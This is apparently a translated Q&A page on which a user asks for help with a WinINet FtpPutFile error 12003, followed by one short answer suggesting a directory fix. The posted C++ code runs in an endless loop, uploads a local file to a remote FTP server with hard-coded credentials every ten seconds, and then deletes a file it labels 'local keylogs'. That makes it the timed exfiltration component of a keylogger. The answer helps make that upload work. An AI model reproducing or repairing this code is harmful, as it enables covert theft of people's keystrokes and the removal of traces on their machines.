C ++ WinINet FtpPutFile错误12003

时间:2014-02-27 09:59:20

标签: c++ wininet

我在过去的3天里研究过这个问题,每天8-10个小时。我已经尝试过许多其他方法来上传文件,我已经尝试过其他库等等。但我无法弄明白。

它在最新版本的Windows 8.1上100%工作,但是当我在Windows 7或更早版本上测试时,在使用FtpPutFile时出现错误12003。

除了FtpPutFile之外,每个其他WinINet FTP功能都适用于每个版本的Windows。

我已经用Google搜索了这个主题至少24小时。 (字面上)

我有很多不同的理论,我已经对它们进行了全部测试,没有任何效果。

我想,也许这是文件/文件夹名称解析。所以我搞砸了,不,不。没用。

我想也许这是防火墙问题,我以管理员身份运行并禁用了防火墙,没有。

我尝试了无数其他事情......没有任何效果。

这是我的代码。我正在使用Visual Studio Express 2013。

#include "stdafx.h"
using namespace std;
#include <iostream>
#include <istream>
#include <windows.h>
#include <winuser.h>
#include <string>
#include <stdio.h>
#include <ctype.h>
#include <conio.h>
#include <time.h>
#include <wininet.h> 
#include <fstream>
#include <direct.h>
#include <tchar.h>
#include <ctime>
#include <sstream>
#pragma comment (lib, "urlmon")
#pragma comment(lib, "Wininet")

void main(){
    while (1){
        void send();
        send();
        Sleep(10000);
    }
}

void send(){
    void FileSubmit();
    FileSubmit();
}

void FileSubmit()
{
    bool folderExists(string str);
    cout << "Sending file..." << endl;
    HINTERNET hInternet;
    HINTERNET hFtpSession;
    hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (hInternet == NULL)
    {
        cout << "Error: " << GetLastError() << endl;
        cout << InternetGetLastResponseInfo << endl;
    }
    else
    {
        hFtpSession = InternetConnect(hInternet, "cloud9ips.com", INTERNET_DEFAULT_FTP_PORT, "ftptest@cloud9ips.com", "Pass123", INTERNET_SERVICE_FTP, 0, 0);
        if (hFtpSession == NULL)
        {
            cout << "Error: " << GetLastError() << endl;
            cout << InternetGetLastResponseInfo << endl;
        }
        else
        {
            string folder_path = "/testfolder/";
            string file_name = "testfile.txt";
            cout << "file_name: " << file_name << endl;
            cout << "folder_path: " << folder_path << endl;
            if (!folderExists(folder_path)){
                if (FtpCreateDirectory(hFtpSession, folder_path.c_str())){
                    cout << "Created folder for IP " + folder_path << endl;
                }
                else {
                    cout << "Error creating folder " + folder_path << endl;
                }
            }
            else {
                cout << "Folder already exists" << endl;
            }
            BOOL SetDir = FtpSetCurrentDirectory(hFtpSession, folder_path.c_str());
            if (SetDir){
                cout << "Set directory to " << folder_path << endl;
            }
            else {
                cout << "Failed to set directory to " << folder_path << endl;
            }
            BOOL Rename = FtpRenameFile(hFtpSession, "testfile.txt", "new.txt");
            if (Rename){
                cout << "Successfully renamed testfile.txt to new.txt" << endl;
            }
            else {
                cout << "Failed to rename file" << endl;
            }
            BOOL Transfer = FtpPutFile(hFtpSession, "C://folder/file.txt", file_name.c_str(), FTP_TRANSFER_TYPE_BINARY, 0);
            if (!Transfer)
            {
                cout << "Failed to send file." << endl;
                cout << "Error: " << GetLastError() << endl;
                cout << "Response Info: " << InternetGetLastResponseInfo << endl;
            }
            else {
                cout << "Successfully sent file." << endl;
            }
            cout << "Closing FTP Session" << endl;
            InternetCloseHandle(hFtpSession); // Close hFtpSession
        }
    }
    cout << "Closing connection" << endl;
    InternetCloseHandle(hInternet); // Close hInternet
    cout << "Removing local keylogs..." << endl;
    remove("C://system/sys.txt");
    cout << "Done!" << endl;
}

bool folderExists(string folder){
    IStream* pStream = NULL;
    string url = "http://cloud9ips.com/ftpadmin/" + folder + "/";
    URLOpenBlockingStream(0, url.c_str(), &pStream, 0, 0);
    if (!pStream)
        return false;
    pStream->Release();
    return true;
}

我做错了吗?

我在代码中包含了FTP帐户的信息,因此您可以根据需要进行测试。

我看了一切,我无法理解......

如果你能提供帮助,我会非常感激。

谢谢-Alex Benoit。

1 个答案:

答案 0 :(得分:0)

这是一个路径错误,不是由INTERNET_FLAG_PASSIVE标志引起的。

我的解决方案如下:

pFtpConnection->SetCurrentDirectory(yourpath);

如果路径yourpath不存在,请先创建路径; 然后

pFtpConnection->PutFile(localFullFileName,sRemoteFile);